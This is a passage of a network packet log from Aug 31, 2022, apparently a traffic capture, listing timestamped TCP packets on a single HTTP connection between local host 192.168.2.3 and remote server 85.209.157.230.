Aug 31, 2022 08:34:30.120141983 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.120162010 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.120183945 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.120277882 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.120320082 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.120347977 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.120362997 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.121377945 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.121418953 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.121443033 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.121473074 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.121480942 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.121550083 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.121577978 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.121593952 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.122155905 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.122196913 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.122224092 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.122340918 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.122405052 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.122431993 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.122575045 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.122709036 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.122750998 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.122777939 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.122814894 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.122853994 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.122879028 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.123369932 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.123415947 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.123445988 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.123472929 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.123511076 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.123549938 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.123574972 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.123613119 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.123651028 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.123680115 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.123718977 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.123754978 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.123780966 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.123850107 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.124078989 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.124121904 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.124150038 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.124238014 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.124471903 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.124512911 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.124540091 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.124577045 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.124614000 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.124639988 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.124855042 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.124959946 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.125102997 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.125132084 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.125169039 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.125205040 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.125230074 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.125426054 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.125463963 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.125484943 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.125489950 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.125504971 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.125579119 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.125617981 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.125643969 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.125912905 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.126184940 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.126224995 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.126250029 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.126457930 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.336069107 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.336091995 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.336103916 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.336148024 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.336174965 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.336191893 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.336216927 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.336324930 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.336564064 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.336587906 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.336605072 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.336653948 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.336788893 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.336819887 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.336832047 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.336875916 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.338066101 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.338084936 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.338095903 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.338157892 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.338231087 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.338254929 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.338265896 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.338309050 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.338792086 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.338815928 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.338826895 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.338882923 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.339063883 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.339113951 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.339124918 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.339167118 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.339354992 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.339391947 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.339402914 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.339509010 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.339534998 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.339546919 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.340194941 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.340230942 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.340241909 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.340269089 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.340336084 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.340346098 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.340992928 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.341000080 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.341007948 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.341011047 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.341012955 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.341032028 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.341042995 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.341089964 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.341119051 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.341183901 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.341195107 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.341232061 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.341409922 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.341425896 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.341449022 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.341483116 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.341548920 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.341566086 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.341577053 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.341614962 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.341906071 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.341948986 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.341960907 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.342001915 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.342031956 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.342050076 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.342061043 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.342091084 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.342314005 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.342380047 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.342391014 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.342430115 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.342468977 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.342484951 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.342494965 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.342523098 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.342818022 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.342854023 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.342864990 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.342901945 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.342902899 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.342951059 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.342963934 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.342999935 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.343302011 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.343334913 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.343352079 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.343379974 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.343504906 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.343521118 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.343532085 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.343568087 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.539697886 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.539735079 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.539752007 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.539771080 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.539791107 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.539803982 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.539887905 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.539925098 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.540175915 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.540199041 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.540214062 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.540256977 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.540257931 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.540298939 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.540313959 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.540338993 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.541270018 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.541292906 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.541306973 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.541373968 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.541376114 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.541394949 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.541409969 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.541448116 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.541740894 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.541763067 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.541776896 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.541804075 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.541870117 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.541889906 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.541903973 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.541950941 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.543730021 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.543752909 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.543767929 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.543819904 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.543899059 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.543940067 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.543955088 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.543992996 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.544450998 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.544497967 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.544512987 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.544558048 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.544620037 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.544658899 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.544672966 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.544709921 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.544939995 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.544975042 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.545042038 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.545085907 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.545087099 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.545108080 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.545123100 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.545160055 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.545418978 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.545473099 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.545486927 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.545528889 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.545536995 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.545581102 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.545594931 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.545633078 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.545932055 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.545953035 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.545968056 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.546010017 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.546061039 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.546101093 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.546114922 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.546150923 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.546427011 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.546447992 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.546462059 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.546499968 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.546622992 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.546658039 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.546673059 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.546714067 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.546960115 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.546993017 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.547007084 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.547050953 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.547219992 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.547252893 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.547266006 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.547307014 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.547660112 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.547688007 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.547702074 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.547740936 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.547840118 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.547868967 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.547883034 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.547920942 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.548171043 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.548203945 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.548218012 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.548255920 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.548358917 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.548438072 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.548451900 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.548491955 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.548701048 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.548722029 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.548764944 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.548801899 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.548914909 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.548983097 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.548999071 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.549037933 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.549207926 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.549262047 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.549277067 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.549313068 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.549396992 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.549417973 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.549432039 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.549468040 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.549737930 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.549760103 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.549776077 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.549813986 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.549964905 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.549987078 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.550002098 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.550040960 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.550215960 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.550259113 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.550272942 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.550309896 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.550409079 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.550429106 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.550443888 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.550479889 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.550784111 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.550805092 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.550820112 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.550852060 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.550955057 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.550995111 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.551008940 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.551047087 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.551242113 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.551261902 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.551282883 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.551321983 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.551464081 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.551486015 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.551500082 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.551562071 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.551784039 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.551836967 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.551851988 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.551875114 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.552047014 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.552067041 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.552081108 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.552119970 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.552153111 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.552305937 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.552335024 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.552350044 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.552381992 CEST	49763	80	192.168.2.3	85.209.157.230
